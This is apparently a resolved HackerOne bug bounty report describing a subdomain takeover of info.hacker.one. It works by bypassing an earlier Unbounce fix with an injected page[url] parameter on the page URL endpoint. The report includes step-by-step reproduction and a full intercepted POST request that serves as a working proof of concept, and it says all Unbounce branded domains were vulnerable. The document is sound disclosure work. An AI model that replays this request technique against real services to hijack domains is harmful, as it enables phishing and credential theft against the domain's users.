HackerOne · Report #220002
Subdomain takeover #4 at info.hacker.one
Summary
i've been able to bypass the fix of old takeovers on the subdomain info.hacker.one, The bounty resolution was +lowered from H1, they explain this saying:
Based on our conversation in #217358, we're lowering our bounty amount for this issue as compared to previous reports. $500 is our minimum bounty, though we reserve the right to award lower (or none) in the future for Unbounce-specific issues.
After quietly and thoroughly revealing the whole thing I could observe and realize this situation. When it comes to 3rd party issues, there is no obligation on the team (H1 or any team) to pay bounties.
Thanks you H1 team for resolved this issue and pay a bounty for this issue.
I hope you enjoy this report as i enjoyed doing it.
happy hacking @ak1t4
How it was found
Summary:
Hi team, looking the last fix released from unbounce team at https://hackerone.com/reports/217358 i've been able to bypass it and takeover the subdomain info.hacker.one with a new vulnerable ENDPOINT + PARAM COMBINATION at UnbouncePages App
Actual Dns Entry: {F174718}
Reproduction Steps for HackerOne
- I have claimed the domain and placed a new-page for PoC validation located under: Go to -> http://info.hacker.one/testing-new-takeover-04-10-17/
- You see the alert box and the New Subdomain Takeover {F174729}
[ Unbounce Pages Team Section ]
Reproduction Steps PoC at new PARAM-ENPOINT COMBINATION
- Login to account
- Create a New Page under any domain or default domain (unbouncepages.com)
- Go to "Change URL"
- Fill with any input
- Intercept Request with burp or another proxy
- Change Enpoint to ->
/[account-id]/pages/[page-id]/url - Add this param at the end of body ->
&page%5Burl%5D=info.hacker.one/testing-new-takeover-04-10-17
POST REQUEST
POST /2235922/pages/4d2a5d74-2119-4c68-8d93-f456566f2fe8/url/ HTTP/1.1
Host: app.unbounce.com
Connection: close
Content-Length: 186
X-NewRelic-ID: XQQAUl9ADAQFV1hW
Origin: https://app.unbounce.com
X-CSRF-Token: 7fHXoRIVY2kDTQxt+k6jjNgJagryJHBfu7MuZLtB7V4=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*;q=0.5, text/javascript, application/javascript, application/ecmascript, application/x-ecmascript
X-Requested-With: XMLHttpRequest
Referer: https://app.unbounce.com/2235922/pages/4d2a5d74-2119-4c68-8d93-f456566f2fe8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.8,fi;q=0.6,en;q=0.4
Cookie: ...
utf8=%E2%9C%93&_method=put&authenticity_token=7fHXoRIVY2kDTQxt%2Bk6jjNgJagryJHBfu7MuZLtB7V4%3D&page%5Bdomain%5D=unbouncepages.com&page%5Bpath%5D=testing-new-takeover-bypass-akita&button=&page%5Burl%5D=info.hacker.one/testing-new-takeover-04-10-17
Vulnerable Endpoint: /[account-id]/pages/[page-id]/url Vulnerable Injected PARAM: page%5Burl%5D=anydomain.com
This Request update the page with the New Domain (any domain could be used and creating content into it)
I create a New Private Video PoC here for the above explained -> https://youtu.be/HKYMYkDDYW8
(All branded domains under unbounce app are vulnerable)
Security Impact at H1:
*An attacker can utilize this domain info.hacker.one for targeting the organization by fake login hackerOne forms, or steal sensitive information of teams (credentials, credit card information, etc)
Security impact at Unbounce Pages:
*An attacker can utilize this bug affecting all branded domains and customers at unbouncepages.com and use all domains with evil purposes as stealing of sensitive information, credentials, credit card info, etc
Please let me know if more info needed or any help,
Best Regards, @ak1t4